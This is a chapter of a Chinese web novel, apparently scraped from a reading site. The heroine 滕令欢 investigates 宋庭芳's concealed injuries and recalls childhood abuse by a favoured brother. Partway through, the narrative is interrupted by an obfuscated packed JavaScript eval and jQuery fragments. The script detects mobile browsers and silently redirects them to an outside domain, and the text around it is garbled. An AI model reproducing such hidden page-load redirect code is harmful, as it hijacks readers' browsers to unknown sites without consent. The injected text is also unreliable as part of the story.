默认冷灰
24号文字
方正启体

37. 偏心

作者:青崖昼本书字数:K更新时间:
    宋庭芳脚步一顿,回过头,看到滕令欢,眼中闪过一丝疑惑和戒备,但很快便掩饰过去,微微颔首:“这位小姐是……?”


    “少夫人忘了?我是裴家的三女儿,前几日在永安王府的婚宴上,我们见过一面,当时就觉得少夫人面善,仿佛故人,心中倍感亲切。”滕令欢笑容温婉,语气热络。


    宋庭芳仔细看了她两眼,似乎想起来了,脸上挤出一丝客套的笑容:“原来是裴三小姐,那日人多,一时未及细认,失礼了。”


    “少夫人哪里的话。”滕令欢摆手,目光落在她刚才还回的那摞书上,故作好奇地问,“少夫人方才还的是什么书?我看似乎不少,想来少夫人学识渊博。”


    宋庭芳眼神微闪,含糊道:“不过是些杂书游记,闲来翻翻,打发时间罢了,具体名目,一时也记不清了。”


    这推脱之辞,更让滕令欢心生疑窦。


    她又试探着问:“说来也巧,我总觉得与少夫人并非初次相见,似乎在更早之前,就在哪里见过。”她目光落到宋庭芳身上,转而问道:“少夫人可曾去过江南?”


    此言一出,宋庭芳面色几不可察地白了一分,立刻否认道:“裴三小姐定是认错人了,我自幼体弱,很少出远门,更未曾去过江南。”她语气急促,带着明显的回避意味,“府中还有事,我就不多叨扰了,告辞。”


    说完,不等滕令欢再开口,她便匆匆福了一礼,急急忙忙地往门外走去。


    滕令欢一急,几乎是立刻伸手住了宋庭芳的手,她只是反应快,但手中的力道并不重,她甚至只是虚握了一下宋庭芳的手腕,谁知道她居然疼得闷哼一声。


    这点力道都能觉得疼,那必然是她身上有伤了。


    滕令欢反应了过来,急忙松开手,然而宋庭芳似乎没有想言语的意思,滕令欢的手一松,她便转头匆匆离开了。


    滕令欢看着她仓促离去的背影,心中疑云更浓。这宋庭芳,分明是在极力隐瞒着什么,好像自从她问过她是不是姓宋之后,她开始变得警惕起来了。


    究竟是宋铮不愿意让她姓宋,还是她自己不愿意姓宋?


    滕令欢转过身,看向正在登记还书信息的老板,心中起了主意。


    “老板,”她走到柜台前,语气郑重,“您方才说,想将书阁交给我打理,我应下了。”


    老板抬起头,显然是带有几分欢喜,但还未说出话,只见滕令欢微微一笑,指向那本记录借阅信息的册子:“麻烦老板借我看一下那册子。”


    “这……”


    老板犹豫了一下,这册子按理说都是书阁内人才能看的,滕令欢虽同意了帮他接手书阁,却终究算是外人,看这册子似乎不太行。


    老板开口:“这是不是不太合适?”


    滕令欢却一副无所谓的样子,“有什么不合适的?我是日后要接管老板书阁的人,如今看了老板这册子,就算是提前熟悉工作了,有何不妥?”


    老板最后还是同意把册子给她看了,她说得实在有理,让他想拒绝都不行,况且这又不是什么要紧的东西,看一下也没什么。


    滕令欢如愿地拿了册子,翻开了宋庭芳最近的借阅记录,只是,让滕令欢蹙眉的是,宋庭芳借阅的书籍并非经史子集,也非诗词歌赋,而清一色都是……医书。


    都是一些关乎外伤的医书,脑海中一下就想起了宋庭芳临走时被她碰到手腕后的那一声惊呼,让滕令欢心生怀疑。


    莫非这宋庭芳是在自己找法子疗伤?这没道理啊,若是正常受伤的话,请了大夫不就好了?何必大费周章?滕家虽不大富大贵,但也不至于沦落到连病都看不起,况且宋庭芳出身江南富商之家,没道理拿不出这个钱。


    不是看不起,那就是不想让人知道了,看来这伤来得并非意外。


    她合上册子,走向又在整理书架的老板,状似闲聊般问道:“老板,方才那位滕家少夫人,瞧着是个温和性子,想必在夫家很是得宠吧?滕三少爷定是极爱护她的。”


    老板闻言,手中动作未停,只呵呵一笑:“那是自然,听说小两口恩爱得很呢,滕三少爷能娶到这样知书达理的夫人,是福气。”


    恩爱?滕令欢心中冷笑。若真恩爱,为何连治伤都要偷偷摸摸?


    带着满腹疑惑,滕令欢离开了书阁。时近黄昏,夕阳将天边染成一片橘红,也给冷清的街道镀上了一层暖色,让京城的深冬不至于显得萧条。


    当年太祖自北边起兵,同一了中原各个分散的政权,最终建立大昱国,定都京城。虽为京城,百姓生活繁荣,但只要一到冬天,就有一种说不尽的萧寂之感,呼进人鼻腔里的空气是冷得,仿佛让人四肢百骸都有凉意。


    历朝历代皇帝都是出身京城长在京城,久而久之也习惯了这样的气候,而如今宣弘皇帝不一样,他出身京城,成年后便到南疆一带就藩,人到中年才起兵杀回京城。


    他的人生一大半时候都是在南方度过的,那里气候温暖,不用人刻意带动氛围就可以显现出生机,比京城好上太多。


    以至于宣弘皇帝有意将都城迁至南方,只是迟迟未动。


    滕令欢正低头思索着宋庭芳借阅医书的蹊跷处,独自往裴府走,却差点与迎面而来的人撞个满怀。


    “走路不看路,想什么如此出神?”一个低沉熟悉的声音在头顶响起。


    滕令欢猛地抬头,竟是裴珩。他穿着一身尚未换下的绯色官袍,显然是刚从中书省下值归来,眉宇间带着一丝公务繁忙后的倦意,但眼神依旧锐利。


    滕令欢有些意外,“你怎么……”


    “路过。”裴珩言简意赅。


    滕令欢的目光却落在裴珩身上多看了几眼,这里根本不在内阁到裴府的路上,他是自己要过来的,身上连官服都未换下,显然是下了朝就过来了。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16500826|181092||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    裴珩被她的目光盯得有些不自然,青咳了一声,避开了她的目光,转而问道:“不是去查那宋庭芳了?怎地在此处发呆?”


    两人自然而然地并肩向裴府方向走去,滕令欢犹豫了一下,还是将今日的发现说了出来:“我是在查她,她常去那家藏书阁,我看了借阅记录,她近来频繁借阅的,都是讲述如何治疗外伤的医书。”


    “外伤医书?”裴珩脚步微顿,侧头看她,眼中闪过一丝讶异,“她身上有伤?”


    滕令欢点头,“但不是明显伤痕。”


    裴珩沉吟片刻,眸色渐深:“若是身上有伤,正常来讲,该是请大夫诊治,开方抓药。但若滕家不给她请大夫,或者……那伤不便让外人知晓呢?”


    滕令欢并未立刻回应,裴珩说的猜测和她想得到是一模一样,她原本猜测那伤是滕轸给弄出来的,但是为了不让自己家的事成为京城人饭后的闲话,所以选择瞒下来。


    但他真的能做到一点风声都不漏吗?在外人眼中,夫妇俩感情居然还不错。


    裴珩看着她不说话,继续问道:“你可知滕轸与这宋庭芳,平日关系如何?外界传闻如何?”


    滕令欢想起藏书阁老板的话,他的意思是二人夫妻恩爱,琴瑟和鸣。但裴珩此刻提出这样的问题,事情必然是不一般了。


    她说道:“书阁老板说二人恩爱得很,”随后转过头,向裴珩问道:“你说呢?”


    裴珩嗤笑一声,话中带着些嘲讽,“恩爱?那老板也是被那家人迷惑了,你仔细想想,滕轸,究竟是个什么样的人?”


    就这样一句话,将滕令欢瞬间拉回自己年少时。


    她猛然想起小时候,那个只比她小两岁,却因是男孩而备受宠爱的弟弟滕轸,他脾气暴躁,一点就着。


    有一次,姐弟二人对弈,她棋高一着,赢了滕轸。不过是孩童间的游戏,滕轸却当场暴怒,猛地将沉重的玉石棋盘掀翻,狠狠砸向她的头。


    她躲闪不及,也未曾想到一个孩子居然会对输赢一事如此在意,棋盘棱角重重磕在脑侧,瞬间血流如注,剧痛让她眼前发黑。


    闻声赶来的母亲,第一反应是冲向滕轸,急切地检查他有没有伤到,确认儿子无恙后,才皱着眉来看她被血染了大半张脸的模样,语气里没有多少心疼,反而是满满的埋怨:“你是姐姐,年岁比他大,让让他又如何?何必争强好胜,惹得他发这么大火?”


    母亲不公也不是一日两日了,滕令欢倒也没觉得多伤心,但是不伤心,为什么会哭呢?没人偏爱的孩子,连委屈都是错的。


    “你哭什么?没照顾好阿轸,你还有脸哭?你怎么就那么好胜?你棋艺好,应当教他才对!”


    而此时的滕轸,正一脸得意地看着她,在父母的庇护下,他在府中几乎算得上是为所欲为。眼下更是,分明受伤的是滕令欢,但被母亲护在身后的却是滕轸。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)